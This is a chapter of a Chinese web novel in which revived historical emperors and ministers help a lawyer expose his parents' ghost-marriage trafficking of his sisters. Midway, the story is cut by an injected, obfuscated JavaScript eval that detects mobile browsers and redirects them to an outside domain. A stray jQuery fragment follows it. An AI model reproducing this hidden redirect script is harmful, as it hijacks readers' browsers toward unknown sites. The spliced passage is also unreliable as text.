27.27. 那您该先斩了这逆曾孙
作品:《英魂觉醒:历史名人的现代奇妙冒险》 秦乔很轻微地愕然一下,随后是忍不住笑出声来。
“抱歉……”挂断电话,沈重光略有些尴尬。
“没事没事,前两天我们还因为抓人贩子上热搜了。”秦乔毫不介意。
而听她这话,沈重光很是诧异地看一眼嬴政。
想了想,秦乔还是问出口:“刚才你的父母……?”按理不应该揭人家的伤疤,但这情况实在有些意料之外。
“耀祖……是我以前的名字,我父母连生了四个女儿,甚至还将我三姐送人。”沈重光倒也不避讳。
闻言的秦乔却有些诧异,就刚才沈重光的反应,他完全和他的姐姐们是一道儿的。
“在我小的时候,我十一岁的大姐和九岁的二姐就开始干活,后来有一天……大概是我七岁的时候吧,十五岁的大姐把我支出去打水,我慢慢悠悠拿着水桶回来的时候,大姐已经挂在梁上……”说到这里,沈重光似有哽咽。
“抱歉,”秦乔立刻向他道歉,“我不应该提这事的。”
“没事,”沈重光将漫在眼眶里的水憋了回去,“现在我二姐和四姐外出工作了,但是他们上门骚扰好几次,甚至把我二姐工作都弄没了。我就和二姐四姐商量着换一个工作,这样他们也不会来找麻烦。只是找不到她们工作单位,他们还是会隔三差五上门去姐姐们租的房子里。后来看二姐四姐不理他们,就想办法去找三姐,发现三姐如今生活富足就说什么要把三姐认回来。”
“但是你三姐也不理会他们,所以你父母来找你了?”秦乔问。
沈重光点头,同意秦乔的话。“多次骚扰导致三姐不胜其烦,甚至说要告他们,他们找我想要叫我做他们的律师,我说我只会做三姐的律师。”
“好了,沈律师咱别想这些伤心事了,到了民宿我得给你介绍别的小伙伴。”
说着秦乔就要和嬴政说话,一转头发现他和商鞅走在很后面,不知两人在辩论些什么。
“政哥快过来啦!不要走丢了!”秦乔招呼他们。
获得沈重光诧异的眼神:“你……这样和他们相处?”
“他们人都挺好的~”说着,就来到了民宿。
一见到李隆基在外面站着,秦乔“哎哟”一声:“三郎被你太爷罚站啦?”
秦乔这叫哪壶不开提哪壶。李隆基没有跟她说话,倒是出来的魏正看到她,又听得她这样说,就给她说起了事情始末。
就在她离开民宿之后,李隆基终于得空,他很不服赵佶就说要和他比划比划。
“李三郎你和他们这些一般见识,只会掉了你的份儿。”听到这里,秦乔忍不住吐槽。“对了,他们比了什么?”
周繁刚好出来倒垃圾,听到秦乔和魏正的话,就这样说:“太宗要他临摹《九成宫醴泉铭》,结果玄宗就非要同宋徽宗比画道。”原本就是太爷教训曾孙来着,也不知道李隆基是怎么想的。
“朕开元年间的吴道子真迹,岂是这亡国之君的瘦金体可比?”
“李三郎的霓裳羽衣曲,不也成了马嵬坡白绫?”民宿大门碰然大开,鼻青脸肿的赵佶就出现在门口。
“哎呀,赵佶你这是被谁打了呀?”不用猜肯定是屋里那几个,但秦乔就是故意要问的。不是李世民就是刘彻,也有可能是嬴稷(由白起代劳)。
“好了好了我都回来了,咱们关上门说。”
见到李隆基与秦乔他们一起进来,李世民还想说什么的,只是看到有陌生人便忍住了。
“这个是律师沈重光,然后这位是商君。”
一听到秦乔介绍商君,嬴稷就来劲儿了。
嬴稷三步并作两步冲到商鞅跟前,玄色深衣的下摆扫过茶几上的果盘,惊得山竹滚落一地。“商君!”他眼睛亮得吓人,“当年寡人读《商君书》,对‘壹刑’之说尚有疑虑——”
商鞅腰间玉组佩叮当一响,青铜剑突然架在嬴稷颈侧:“秦法面前,何来寡人?”
民宿大堂瞬间寂静。白起默默把水果刀插回西瓜,李世民手里的《九成宫醴泉铭》拓本哗啦掉在地上。
赵构偷偷探头:“秦人果然粗蛮。”
然后他就被秦乔瞪了。
“咳,这位是秦昭襄王。”秦乔马上将两人分开,掰着手指头给商鞅算道,“他父亲是秦惠文王赢驷……嗯,当时应该只能叫秦君驷。”
“我知道。”商鞅收起剑。“秦法无亲,昭襄王当知刑上大夫之理。”
“那您该先斩了这逆曾孙。”李世民突然插话,指尖戳向李隆基鼻尖,“昨日他偷喝我藏在冰箱的冰镇葡萄酿!”
“呃……二凤啊~有一句话叫用明朝的剑斩清朝的官,你觉得这可能吗?”乔若听到楼下闹哄哄的,一下楼就看听到李世民的话。
“我知道,反唐复秦!哎呀!”秦乔捂着脑袋,就在她刚说那话的时候,被嬴政的剑柄给敲了脑袋。
“谁在自己的视频里说‘没有任何人能凌驾在人民之上’的?”嬴政似乎很能融合现代社会。
“反帝反封建也架不住总有那么些人脑补自己要是在古代肯定是达官贵人一人之下万人之上呀。”秦乔揉着脑袋,“这不还有人觉得五胡十六国时期是十分浪漫的时代呢,想要穿越回去来个穿越时空的爱恋啥的。”
听到这话,别说现代人,就连古代人都诡异的沉默了。
“方才所言五胡之事,今人可曾见幽州妇孺衣不蔽体?又可曾闻易水婴孩啼哭彻夜?”嬴政幼时质于赵,虽说母亲为富豪人家,却那时的等级叫他见过不少人间冷暖。
民宿忽然陷入奇异的寂静。
武则天从茶室转出,石榴红披帛掠过沉默的众人,将才从冰箱里拿出来的饮料放在商鞅面前:“幼年读《晋书》时,见‘人皆相食’四字便觉彻骨生寒。商君可知如今短视频里,稚子唱着‘慕容冲倾世容颜’?”
“何止呢,还有电视剧竟歌颂陆令萱。”秦乔熟读史书,对于这些古人们说的是什么,她不单能听懂还能将类似的史实信手拈来。
“因为苦难会风化,而美貌永流传。”沈重光突然开口。年轻律师从武则天手中接过饮料,低头看一眼手中的水汽:“就像我大姐的死亡证明只有‘自缢’二字,但邻居们至今还在议论她出嫁时的红盖头有多精美。”
“等一下!”秦乔突然发现盲点,“你大姐……结婚?难道是被……?”
沈重光点点头:“不论活人还是死人,在我父母眼中总能压榨出应有的价值。大姐死后就被配了冥婚。”
“嘶……”乔若倒吸一口冷气,刚从武则天手中接过来的饮料瞬间觉得冰凉无比。
“提问!举报你父母,会对你有影响吗?”乔若瞬间正义感爆棚。
沈重光摩挲着冰镇饮料罐,指腹在凝结的水珠上划出蜿蜒的痕迹:“《刑法》第三百零二条规定,盗窃、侮辱、故意毁坏尸体、尸骨、骨灰的,处三年以下有期徒刑。”
他忽然举起手机,锁屏壁纸是三个女孩在油菜花田里的合影。最左侧的少女眉眼温婉,怀里抱着穿开裆裤的男童——那是二十三年前的沈家姐弟。沈重光在这照片的右下角还特地标注了时间以及地点。
“这是大姐唯一留下的照片。”他指尖轻点屏幕,照片突然切换成密密麻麻的转账记录,“前年他们以修缮祖坟为由,骗我转了三万块。后来我才发现,他们在黑市中介那里登记了大姐的冥婚信息。”
商鞅的玉组佩突然发出急促的脆响,青铜剑虚影在律师身后若隐若现。嬴政突然伸手按住太阿剑柄,目光扫过民宿墙角的智能监控:“秦法有连坐之制,然今世……”
“现在讲究罪责自负。”秦乔早就坐下吃水果,听嬴政这话的时候她刚将剥好的山竹推到武则天面前。而武则天拈起一颗白色果肉:“沈律师若需要见证人,朕倒可说说武周时惩治冥婚的鞭刑细则。”
李隆基突然挤到茶几前,鼻尖还沾着拓本的墨迹:“我朝韦后曾命人掘亡女配婚,后来被凌迟处死时,刽子手特意剜了她的……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477716|169468||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“停停停!”擦好手的秦乔抓起身边的抱枕砸向越说越兴奋的李隆基,“咱们先讨论怎么帮沈律师固定证据。”
乔若推着刘喆过来:“刘吉吉找到个冥婚交易的群,他刚混进去。”
正这么说着就把刘喆推到沙发边上,而刘喆一坐下就差点弹起来:“我靠!”刚这么说完,就被跟在后头的刘彻给敲了一脑门的剑柄。
“群里面发了新的待婚配表,其中有一个信息就是……”刘喆砖头看向沈重光,“就是沈律师的老家。”他再看一眼沈重光的照片信息,很是确定。“时间就是前段时间清明的时候!”
沈重光镜片寒光一闪,工作牌撞在茶几上发出闷响:“他们上个月确实回老家祭祖……我还在想他们怎会在清明前……”
“你看看这是你姐姐吗?”刘喆将笔记本电脑的屏幕转向沈重光。
嬴政忽然拂袖起身,玄色衣摆扫落果盘里的荔枝:“朕幼时见赵国巫祝以活人殉葬,如今竟还有拿尸骨作筏的腌臜事。”太阿剑在空中划出残影,“当年该用商君连坐之法,将这些……”
“等一下,这个年纪不对,看生辰八字应该是成年人!”秦乔不单单对史书熟,对民俗文化也有些了解。刘喆点开的信息表中没有名字,只有生辰八字和地点以及联系方式。秦乔对着万年历迅速将这个生辰换算成太阳历的时间,沈重光一看这个生日冷声道:“这是我四姐的生日!”
“成年人的意思是……?”乔若小心翼翼地问。
“就是拿活人去配冥婚。”先前一直沉默的江寄余突然开口,“我刚到那个村子的时候,村里就有那么一户人家拿自己十八岁的女儿去配冥婚。”
听自己丈夫提起这不算过于久远的事情,周繁也带着些许怜悯:“当年那孩子倒是考了个好大学,但被父母强硬地压着去工厂打工。”
不怎么打扰自家师兄师姐生活的秦乔自然不知道这回事,因此听师兄提起便有些好奇:“那后来呢?”
“我们到的那天他们正巧在举办仪式,”周繁给秦乔讲述道,“女孩的父母领着女孩来到买家这,买家也是同村人,他们带着女孩到自己儿子坟前。且不说活人死人——那个男人死前都已经三十多岁,如今又过了二十年,男人的父母又生了个女儿拿女儿换了彩礼一直想着给儿子用,不管是活着的儿子还是死了的儿子。我们就看到男人的父母领着那女孩,还有几个……神婆,在男人的坟前手舞足蹈地嘴里念念有词。”
“那时他们看我们是外乡人,女孩的父母是本村自然会略微帮衬一番,将我们阻止。后来我在村里制墨,村里人都想要来帮忙,我便拒绝了那些参与这次仪式的人家,之后村里基本没有什么人再敢搞这些了。”江寄余就着自己妻的话继续说。
“《周礼》都已经禁迁葬与嫁殇了,到了现在竟然还有活人配冥婚的。”秦乔想了想,问沈重光,“我们如果联系他们,算不算钓鱼?我记得好像除了禁毒,其他都不能钓鱼执法来着。实在不行,你找你四姐,让她去联系这些家伙。”
“要抓紧,”富江突然出现,如同一个背后灵一般,“他们这种产业链很完整,上一刻下单,下一秒就会找到‘商品’带回去办‘婚礼’。”
“我四姐在南京工作……”
嬴政的玉扳指突然迸裂,碎玉溅在赵佶刚端来的茶盏里:“即刻传讯!”
秦乔那却已经拨通朱嘉柔的语音,与此同时沈重光立刻联系他四姐。
他与沈四姐说好了怎么样联系这个专门配冥婚的组织,自己以买家的身份“买”下自己,届时如果真有这条产业链上的人出现找她,那朱嘉柔那边便立刻出动——沈四姐的公司正好在朱嘉柔警局的辖区范围。
“姐,他们可能要先付定金,我给你转一些……”
电话那头的女子轻轻一笑:“放心,倒是你……”
“不用担心我,”站在窗边的沈重光转头看向屋里正聊得火热的人,“我这……有很多人。”
很多能够帮助更多人的人。